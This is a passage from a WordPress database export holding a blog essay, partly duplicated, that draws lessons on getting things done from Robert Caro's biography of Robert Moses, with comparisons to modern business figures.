src=\"https://substackcdn.com/image/fetch/$s_!tFNc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd83905-5619-4644-b1bc-5a872cc2ca88_1024x642.jpeg\" alt=\"The Sunny Saga of Jones Beach: Sand, Surf and Robert Moses - The Bowery  Boys: New York City History\" title=\"The Sunny Saga of Jones Beach: Sand, Surf and Robert Moses - The Bowery  Boys: New York City History\"/></a><figcaption class=\"wp-element-caption\">Jones Beach post Robert Moses. Pre-Robert Moses, this was a swampy, unpleasant wilderness. He built this in 5 years. By the way, to give you an idea of his vision, that iconic spire in the middle is a water tower. The architects and planners of Moses’s time pushed very hard to make that a dumpy, conical water basin, but Moses dreamed bigger.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Because I’m like 50 years late to&nbsp;<em>The Power Broker</em>&nbsp;party, I’m not going to spend too much time recapping Robert Moses’s specific accomplishments and sins. You can read&nbsp;<a href=\"https://www.goodreads.com/book/show/1111.The_Power_Broker\">the Goodreads reviews</a>&nbsp;for that. Instead, I want to focus on the aspect of Robert Moses that obviously fascinates Caro the most, and the part that I think has the most bearing on our present day times: his ability to get things done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>People who have never tried to get things done often underestimate how hard it is to do so. This is incredibly obvious when I see people slagging on Elon Musk’s business accomplishments&nbsp;<a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-1-149354469\">1</a>&nbsp;or trying to solve political problems by proposing massive changes to the economy. Systems resist being changed. People resist being told what to do. Nobody likes parting with their money. It’s just as difficult, proportionally, to the number of people, time, and effort, to build a bridge as it is to get your friends to rent a cabin for the weekend.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Personages&nbsp;<a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-2-149354469\">2</a>&nbsp;like Elon Musk or Robert Moses who can imagine and push through major projects are, therefore, rare. This was as true in Robert Moses’s time as it is in ours. Robert Caro takes pains to point out that one of the reasons Robert Moses stuck around so long, even though he had a talent for pissing people off, was because he got stuff done. Even FDR, who detested Moses and had a talent for holding grudges, not only maintained Moses’s power but actually increased it during FDR’s reign as NY governor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I wanted to write up a quick list of how Robert Moses got stuff done, and what that can mean for us in the modern era.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>1. Robert Moses was not afraid to piss off some people, but he kissed up to the right people.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Early on in his career, Robert Moses was an idealist. He believed in meritocracy, a government that helped the people, and efficiency in public policy. This gained Moses friends among the idealists, and pissed off the New York political establishment, most of whom were part of the notoriously corrupt Tammany Hall political organization and believed in cronyism and governmental handouts to friends and family. Unfortunately, as is generally true everywhere in government and often true elsewhere, the idealists had no power and the pragmatists had a lot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the pragmatic Tammany Hall squashed the young, idealistic Robert Moses like a bug, rendering him unemployable for a number of years until he became close chums with a Tammany Hall politician who was more idealistic than the rest, canny cigar-chewing New York Governor Al Smith. From Al Smith and his own time in the desert, Robert Moses learned the true skill of getting idealism to work was kissing up to the right people, as his idealism was already going to piss off a fair number of the wrong ones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!dkII!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79c58176-d0f4-4a82-9ba4-e04f9fab04e7_1391x1860.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!dkII!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79c58176-d0f4-4a82-9ba4-e04f9fab04e7_1391x1860.jpeg\" alt=\"Alfred E. Smith--Unity At Home / Victory Abroad | The NYPR Archive  Collections | WNYC\" title=\"Alfred E. Smith--Unity At Home / Victory Abroad | The NYPR Archive  Collections | WNYC\"/></a><figcaption class=\"wp-element-caption\">Al Smith was widely regarded as the most popular man in New York and possibly the most popular Democrat in America, but he got overshadowed by his protege/rival Franklin Delano Roosevelt, who was a man who could hold a hell of a grudge and never forgave Al Smith for being more of a star than him. Also, apparently Al Smith’s molars were gold, which you could see when he laughed.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, practically speaking, that meant turning his nonprofit’s newsletter into a Tammany Hall mouthpiece, rewriting all his proposed bills to avoid disturbing any important Tammany Hall patronage relationships or unnecessarily pissing off rich people, and being available to freely consult and write on any political topics for Al Smith. All of these actions combined did turn Robert Moses from a beautiful idealist to a dirty pragmatist, and upset many of his former idealist colleagues, some of whom had vouched for him at crucial moments. But, Moses didn’t care. Being in good straits with his idealist colleagues had landed him in the unemployment line. Being in good straits with Al Smith and Tammany Hall helped make Moses’s dreams come true.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the modern era, as in Moses’s era, there are few people who are as idealistic as Moses and still willing to debase themselves that much or get that many of their former allies mad at them. Not many people can keep visions of the world’s greatest public park in their head while they are carrying out backdoor shenanigans to secretly screw over a politician’s rival, nevermind while getting called a devil by other idealists. But this sort of pragmatism is necessary to get things done. You just have to be careful not to lose your soul.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2. Know the rulebook and use it.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the reasons Robert Moses was so able to get things done for Al Smith and for FDR was that he knew the rulebook better than anyone else. This was both the literal rulebook, namely the book of laws for New York State, and the figurative rulebook, namely all the various hidden interests of the various power players in New York politics. By mastering these, Robert Moses was able to draft laws that furthered his interests as much as possible and kept important people as happy as necessary.<br><br>For instance, in his original bill establishing the Long Island State Parks commission, he drafted the bill to use a questionably legal definition of “appropriate” that dated back to an unused law from the 1880s. When New York State legislators passed the bill, they unknowingly gave Moses the power to take land from landowners and pay for it later, instead of what they thought they were doing, which was give Moses the power to buy landowners’ land by mutual agreement. By the time they realized this, Moses had already appropriated a huge amount of land to build the parkway (although this did eventually end up with a huge legal headache for Moses).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!ykXj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa080241f-304f-4a37-b935-e4384ace5d8f_1200x630.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!ykXj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa080241f-304f-4a37-b935-e4384ace5d8f_1200x630.jpeg\" alt=\"What could improve safety on the Southern State Parkway?\" title=\"What could improve safety on the Southern State Parkway?\"/></a><figcaption class=\"wp-element-caption\">This is the Southern State Parkway, which is what Robert Moses stole/appropriated a bunch of people’s land for. I think we’re too inured to the wonders of highways now to appreciate this. I was listening to a great video essay a while back on the old Lincoln Highway by one of my favorite Youtubers, Noah Caldwell-Gervais, and he describes how one of the main strategies of the builders of the Lincoln Highway was just to pave one mile at a time near a town, so that drivers could experience how amazingly smooth driving on a paved road was and they’d beg their state to pave move. We’re spoiled now is what I’m saying.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This knowledge of hidden levers and clever dealmaking is just as advantageous in the modern day as it was in Moses’s. I can’t speak too much on modern politics, because I don’t follow it closely. But, it does remind me of the clever, complicated initial structuring of Axovant, the company that made Vivek Ramaswamy rich. Ramaswamy incorporated Axovant in Bermuda, as well as Roivant, the parent company. Ramaswamy took Axovant public, but kept Roivant private and controlled by him and his family/colleagues. This allowed Ramaswamy to not only get rich off of the IPO, but maintain control of Axovant no matter what happened, and use the money that Axovant generated from its IPO to pay Roivant for “services”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Axovant, as a company, failed pretty soon after its IPO. It then limped along for several years until it was finally discontinued. However, much of the money that Axovant generated from its IPO flowed up to Roivant and Ramaswamy, so this ended up being a great deal for the company and the man. Roivant, since then, has actually used the money quite wisely, especially since Ramaswamy left, developing good drugs in a range of areas and making lots of money off of them, in large part by more clever dealmaking. Ramaswamy, on the other hand, has used the money to try to become the Indian Donald Trump.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, overall, it’s a mixed bag on whether Axovant’s clever structuring was good for humanity. It was certainly bad for retail investors who invested in the initial IPO, suckered in by Ramaswamy’s clever storytelling. But it’s a great example of how knowing the rules and the levers of power is a useful way to get stuff done in complex, heavily regulated worlds like finance and biotech.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>3. Make visible progress</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Whenever Moses would get any amount of funding or power, he would drive his people incredibly hard to make some amount of visible progress. This might be laying the foundation for a road, building a cabin, or clearing land. He did this for a few reasons:<br><br>a. It showed that there were real, concrete gains to be made from giving Moses power, in a way that was only theoretical otherwise</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b. It allowed Moses to use the sunk cost fallacy, as legislators would be loathe to take away his budget (or deny him budgetary overruns) and leave works half-finished</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c. It got a bunch of people actively involved and rooting for the project’s success, even if they were just bystanders</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Moses would even half-complete a bunch of projects instead of fully completing one to maximize the visibility of his progress, relying on the sunk cost fallacy to get the rest of his projects finished. In other words, if each road cost $2 million each, and he had $10 million, he would drive his people at a breakneck pace to complete 10 roads halfway, then, by the time the legislature realized he ran out of money, he’d be back in front of them asking for $10 million more to complete all 10.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!hBmk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fffec1391-3df5-4587-8a7a-8298944905a6_2560x1854.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!hBmk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fffec1391-3df5-4587-8a7a-8298944905a6_2560x1854.jpeg\" alt=\"undefined\" title=\"undefined\"/></a><figcaption class=\"wp-element-caption\">He also used the same approach for the Triborough Bridge, which he played a major part in building. To give you an idea of what it was like to watch him work, here’s&nbsp;<a href=\"https://www.archives.nyc/blog/2023/11/3/united-the-boroughs-the-triborough-bridge\">a description of the building of the bridge</a>&nbsp;from a contemporary reporter: “The project makes light of any obstacle in its path. City blocks vanish. Narrow streets are widened as if a titanic wedge were hammered through them between their confining house walls. Creeks surrender to concrete arches. Piers rise for approaches to bridges that will set arms of the sea at naught, even deadly Hell Gate.”</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This emphasis on visible progress set Moses apart from other politicians of his time (or, indeed, our time). The standard politician, if given a $10 million budget to build roads, would spend the first 5 years slowly figuring out who to give money to through “condemnation” and negotiations over the road placement<a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-3-149354469\">3</a>. Robert Moses established his reputation as a guy who got things done by showing such visible progress, which then made people more inclined to give him the money to get more things done.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. Go tit-for-tat: reward those who stand with you, punish those who stand against you</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Moses was famous during his own time for being an exciting, demanding boss to work for. His philosophy towards his employees could be summed up something like the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a. Hire the best</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b. Demand their best work and accept nothing less</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c. Give them freedom</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d. Work them day and night</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e. Pay them well</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was true for his manual laborers, who he had work on 8 hour shifts, morning, noon, and night. This was true for his architects, who’d be given incredible leeway to spend as much money as possible to redesign New York City, but harshly critiqued if they made a mistake. And this was true for his surveyors, who’d be sent out into the wilderness and told to survey land and report back, nevermind who was there already or claimed they didn’t want surveyors on “their” land<a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-4-149354469\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For those who dreamed of making an impact, architects and engineers who had been held back by lesser men with smaller budgets, this was a dream job. For those who wanted free time, family life, or not to be yelled at, this was a rough time. Those who were able to stick it out, though, were rewarded not just with impact, but with all of the perks that Robert Moses could squeeze out of the legislature for them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All this was well known during Moses’s time. What was less well known, and what was revealed in&nbsp;<em>The Power Broker</em>, is how Moses treated anyone in his way of gathering absolute power over the physical structure of New York. Those people he crushed.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Speak out against Moses’s plan for a park? Get a letter sent about you to every legislator in New York accusing you of being a bully. Refuse to give your land to Moses? Get your house knocked down. Speak out against your house getting knocked down? Get called a rich, selfish prig on the front page of every newspaper in New York.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Moses operated on a very simple principle: if you were with the people of New York, then you were with him and his plans and you were good. If you were against him or his plans in any way, then you were against the people of New York and you were bad. Moses learned enough from being crushed as an idealist to temper this strict moralism with alliances made from expedience, but it never really left him.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!G26v!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f4c13b2-d66a-4cb6-a63d-f0dd0d59ed3d_2396x1884.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!G26v!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f4c13b2-d66a-4cb6-a63d-f0dd0d59ed3d_2396x1884.jpeg\" alt=\"Robert Moses, \'Trapped in a Dream\': How a Leader Can Go from Hero to  Villain — Jim Carroll\'s Blog\" title=\"Robert Moses, \'Trapped in a Dream\': How a Leader Can Go from Hero to  Villain — Jim Carroll\'s Blog\"/></a><figcaption class=\"wp-element-caption\">The man himself. It helped that he was a big, athletic, energetic guy. When he was happy, everyone knew it. And when he was angry, everyone really knew it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It’s rare to see this sort of crusading attitude in a public official, especially nowadays. It makes me think much more of our capitalist crusaders, like Steve Jobs or Elon Musk, who have that same combination of grand vision, ability to inspire loyalty, and vindictiveness. The only thing that Moses was missing was the ability to fire people on a whim, but that was mostly just because of worker protections. Besides, as Moses found, scheduling people to start work at 2 am 7 days a week worked just as well as a firing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>5. Get the public on your side</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Moses had a lot riding against him at all times. He was arrogant, vindictive, and frequently operated outside the bounds of the purview of his office and even the law. This placed a target on his back that was quite justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But Moses always had an ace up his sleeve: the public. The public, and their newspapers, adored him. He was the man who brought roads and parks to New York. A lot of wrongdoing could be forgiven or papered over because of this, especially when Moses’s point of view on the wrongdoing would get front page and his opponent’s would get page 25.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The public’s adoration of Moses was not an accident. Besides his aforementioned strategy of making visible progress, Moses also deliberately cultivated an image of a high-minded reformer in his press relations. Similarly, he made an effort to demonize his opponents in his press relations.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This strategy paid off in spades numerous times. Every time a politician tried to get in Moses’s way, Moses would threaten to quit. Most of the time, the politician was so afraid of the backlash from the famous reformer Robert Moses quitting a project that they’d give in and let him get his way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!VorE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60f58a5f-0db8-4835-ae5b-506d5ee0d7ea_360x537.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!VorE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60f58a5f-0db8-4835-ae5b-506d5ee0d7ea_360x537.png\" alt=\"ROBERT MOSES\' RICH LEGACY FOR L.I. - The New York Times\" title=\"ROBERT MOSES\' RICH LEGACY FOR L.I. - The New York Times\"/></a><figcaption class=\"wp-element-caption\">For example, Robert Moses was lauded on the front page of the&nbsp;<em>New York Times</em>&nbsp;constantly.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Of course, it’s not exactly surprising for a politician or someone involved in politics to try to sway the public to their side. It’s practically in the job description. However, Moses’s unique position as an unelected politician with unclear and ever expanding job description allowed him to use public opinion to great effect. Similarly, his portrayal of himself as an enlightened reformer above the fray of normal politics allowed him to transcend party lines in a way that would have been difficult otherwise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>6. Establish your own fiefdom</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>None of Moses’s accomplishments would have been possible if he had been under the control of anyone else. In fact, almost all of the above was in service, somehow, to his independence. His cultivation of powerful friends and loyal employees, his legal and extralegal maneuvering, his establishment of himself as a beloved public figure: all of it served to make him a singular entity to the greatest extent possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As soon as Robert Moses could, he set himself up with his own fiefdom. In his department, which was, eventually, the Department of Parks of New York City<a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-5-149354469\">5</a>, he set himself up with sole control of the multimillion dollar budget, including hirings and firings. To get himself to this level of control required decades of effort and a lot of clever maneuvering, including multiple laws he wrote himself and got passed through the legislature.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This culminated with his control of the Triborough Bridge and Tunnel Authority. Not only did Moses control the tolls from this bridge that he designed and got built almost single handedly, but he also gave himself the power to issue more bonds based off of those tolls, without voter approval. This gave Moses a huge budget to control by himself, about $2.3 billion over the course of his control of the bridge, which was frequently, on an annual basis, greater than the budget of New York City itself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To find a parallel, I again have to turn to capitalism, as I really am not aware of anyone who has that amount of power in politics anymore, outside of dictators. If I was more versed in political history, this might be an appropriate time to bring in, say, Lee Kuan Yew, or even Robert Moses’s sometimes ally, frequent rival FDR. But, instead, I’ll bring in Mark Zuckerberg, who famously has structured Facebook’s stock with a dual class structure that gives him control over Facebook’s future without owning a majority of Facebook’s shares. This has allowed the Zuck to make huge bets with other people’s money, including his recent $20b foray into the Metaverse and gigantic foray into open source AI.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They say there’s an African saying that goes something like, “If you want to go fast, go alone. If you want to go far, go together.” But, I think that’s mostly said by the slowest person on the group project. In reality, if you want to do big things, you need control of your own destiny.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-anchor-1-149354469\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As opposed to his personal failings, which are not only fair game to slag on but almost impossible not to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-anchor-2-149354469\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t want to start another paragraph with “People”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-anchor-3-149354469\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Having a road built on top of your land destroyed it. Having a road built next to your land made it way more valuable, assuming you wanted traffic. You can imagine how negotiations tended to go based on this fact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-anchor-4-149354469\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“My land, soon,” thought Robert Moses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-anchor-5-149354469\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is misleading because he had control over a lot more of the physical infrastructure of New York City and New York State than the parks, including the bridges and the roadways, thanks to his multiple appointments throughout the City and the State.</p>\n<!-- /wp:paragraph -->','Lessons on getting things done from Robert Moses','','publish','closed','closed','','lessons-on-getting-things-done-from-robert-moses','','','2025-07-03 19:22:56','2025-07-03 19:22:56','',0,'https://trevorklee.com/?page_id=489',0,'page','',0),
(490,1,'2025-07-03 19:22:56','2025-07-03 19:22:56','<!-- wp:paragraph -->\n<p>I think I’m probably the last person on the Internet to read&nbsp;<em>The Power Broker</em>, Robert Caro’s immense, incredible biography of Robert Moses. In case I’m not, let me give you a quick summary: according to Robert Caro, pretty much all major changes that occurred in New York City from around 1924 to around 1968 had something to do with Robert Moses, New York City’s planner. Roads, highways, parks, buildings, taxes, hospitals, city government reforms, state government reforms, Moses had a hand in all of it without ever holding an elected position.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of Moses’s impact was good, like almost single-handedly planning, designing, and organizing the most visited beach in America, Jones Beach. Some of Moses’s impact was bad, like displacing a ton of poor people from areas he wanted to develop. But it was all big. This makes Robert Moses interesting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!tFNc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd83905-5619-4644-b1bc-5a872cc2ca88_1024x642.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!tFNc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd83905-5619-4644-b1bc-5a872cc2ca88_1024x642.jpeg\" alt=\"The Sunny Saga of Jones Beach: Sand, Surf and Robert Moses - The Bowery  Boys: New York City History\" title=\"The Sunny Saga of Jones Beach: Sand, Surf and Robert Moses - The Bowery  Boys: New York City History\"/></a><figcaption class=\"wp-element-caption\">Jones Beach post Robert Moses. Pre-Robert Moses, this was a swampy, unpleasant wilderness. He built this in 5 years. By the way, to give you an idea of his vision, that iconic spire in the middle is a water tower. The architects and planners of Moses’s time pushed very hard to make that a dumpy, conical water basin, but Moses dreamed bigger.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Because I’m like 50 years late to&nbsp;<em>The Power Broker</em>&nbsp;party, I’m not going to spend too much time recapping Robert Moses’s specific accomplishments and sins. You can read&nbsp;<a href=\"https://www.goodreads.com/book/show/1111.The_Power_Broker\">the Goodreads reviews</a>&nbsp;for that. Instead, I want to focus on the aspect of Robert Moses that obviously fascinates Caro the most, and the part that I think has the most bearing on our present day times: his ability to get things done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>People who have never tried to get things done often underestimate how hard it is to do so. This is incredibly obvious when I see people slagging on Elon Musk’s business accomplishments&nbsp;<a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-1-149354469\">1</a>&nbsp;or trying to solve political problems by proposing massive changes to the economy. Systems resist being changed. People resist being told what to do. Nobody likes parting with their money. It’s just as difficult, proportionally, to the number of people, time, and effort, to build a bridge as it is to get your friends to rent a cabin for the weekend.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Personages&nbsp;<a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-2-149354469\">2</a>&nbsp;like Elon Musk or Robert Moses who can imagine and push through major projects are, therefore, rare. This was as true in Robert Moses’s time as it is in ours. Robert Caro takes pains to point out that one of the reasons Robert Moses stuck around so long, even though he had a talent for pissing people off, was because he got stuff done. Even FDR, who detested Moses and had a talent for holding grudges, not only maintained Moses’s power but actually increased it during FDR’s reign as NY governor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I wanted to write up a quick list of how Robert Moses got stuff done, and what that can mean for us in the modern era.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>1. Robert Moses was not afraid to piss off some people, but he kissed up to the right people.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Early on in his career, Robert Moses was an idealist. He believed in meritocracy, a government that helped the people, and efficiency in public policy. This gained Moses friends among the idealists, and pissed off the New York political establishment, most of whom were part of the notoriously corrupt Tammany Hall political organization and believed in cronyism and governmental handouts to friends and family. Unfortunately, as is generally true everywhere in government and often true elsewhere, the idealists had no power and the pragmatists had a lot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the pragmatic Tammany Hall squashed the young, idealistic Robert Moses like a bug, rendering him unemployable for a number of years until he became close chums with a Tammany Hall politician who was more idealistic than the rest, canny cigar-chewing New York Governor Al Smith. From Al Smith and his own time in the desert, Robert Moses learned the true skill of getting idealism to work was kissing up to the right people, as his idealism was already going to piss off a fair number of the wrong ones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!dkII!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79c58176-d0f4-4a82-9ba4-e04f9fab04e7_1391x1860.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!dkII!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79c58176-d0f4-4a82-9ba4-e04f9fab04e7_1391x1860.jpeg\" alt=\"Alfred E. Smith--Unity At Home / Victory Abroad | The NYPR Archive  Collections | WNYC\" title=\"Alfred E. Smith--Unity At Home / Victory Abroad | The NYPR Archive  Collections | WNYC\"/></a><figcaption class=\"wp-element-caption\">Al Smith was widely regarded as the most popular man in New York and possibly the most popular Democrat in America, but he got overshadowed by his protege/rival Franklin Delano Roosevelt, who was a man who could hold a hell of a grudge and never forgave Al Smith for being more of a star than him. Also, apparently Al Smith’s molars were gold, which you could see when he laughed.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, practically speaking, that meant turning his nonprofit’s newsletter into a Tammany Hall mouthpiece, rewriting all his proposed bills to avoid disturbing any important Tammany Hall patronage relationships or unnecessarily pissing off rich people, and being available to freely consult and write on any political topics for Al Smith. All of these actions combined did turn Robert Moses from a beautiful idealist to a dirty pragmatist, and upset many of his former idealist colleagues, some of whom had vouched for him at crucial moments. But, Moses didn’t care. Being in good straits with his idealist colleagues had landed him in the unemployment line. Being in good straits with Al Smith and Tammany Hall helped make Moses’s dreams come true.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the modern era, as in Moses’s 